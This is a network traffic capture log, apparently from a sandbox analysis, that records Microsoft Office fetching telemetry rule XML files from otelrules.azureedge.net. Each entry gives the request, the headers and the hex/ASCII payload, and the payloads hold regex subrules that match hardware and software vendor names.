2024-11-25 23:08:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:20 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 043e45ca-501e-0078-1031-3e06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230820Z-15b8b599d88z9sc7hC1TEBkr4w00000006tg000000004bv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:21 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:22 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:22 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: ed66cbfc-201e-0051-7e30-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230822Z-15b8b599d885ffrhhC1TEBtuv000000006s00000000025dv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:22 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:22 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:22 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: c2388785-401e-0048-0e03-3e0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230822Z-178bfbc474bvjk8shC1NYC83ns00000007y000000000eyyw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:22 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:22 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:22 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: d874643c-001e-008d-6c69-3fd91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230822Z-178bfbc474bwh9gmhC1NYCy3rs000000086000000000ceds x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:22 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:22 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:22 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: a7985a29-001e-0046-374c-3cda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230822Z-15b8b599d886w4hzhC1TEBb4ug00000006q0000000008ck0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:22 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:23 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230823Z-178bfbc474bpscmfhC1NYCfc2c00000006r000000000bfc6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:23 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:24 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:24 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 97f3364e-001e-00a2-6ca6-3ed4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230824Z-178bfbc474bv587zhC1NYCny5w00000007z000000000ep5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:24 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:24 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:24 UTC	498	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:24 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230824Z-15b8b599d88n8stkhC1TEBb78n00000001h0000000003f22 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-25 23:08:24 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:24 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:24 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 6e0e0a2c-401e-0064-4814-3d54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230824Z-178bfbc474bfw4gbhC1NYCunf4000000081g00000000r1he x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:25 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:24 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:24 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 89d933d2-101e-0028-046e-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230824Z-174c587ffdfcj798hC1TEB9bq400000006ng00000000vxae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 23:08:25 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:25 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:25 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a6b1c0e3-801e-002a-1ea2-3e31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230825Z-178bfbc474bw8bwphC1NYC38b400000007ug00000000t0y9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:25 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:26 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: a51f3b57-a01e-0021-27a4-3e814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230826Z-178bfbc474bh5zbqhC1NYCkdug000000082000000000acfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

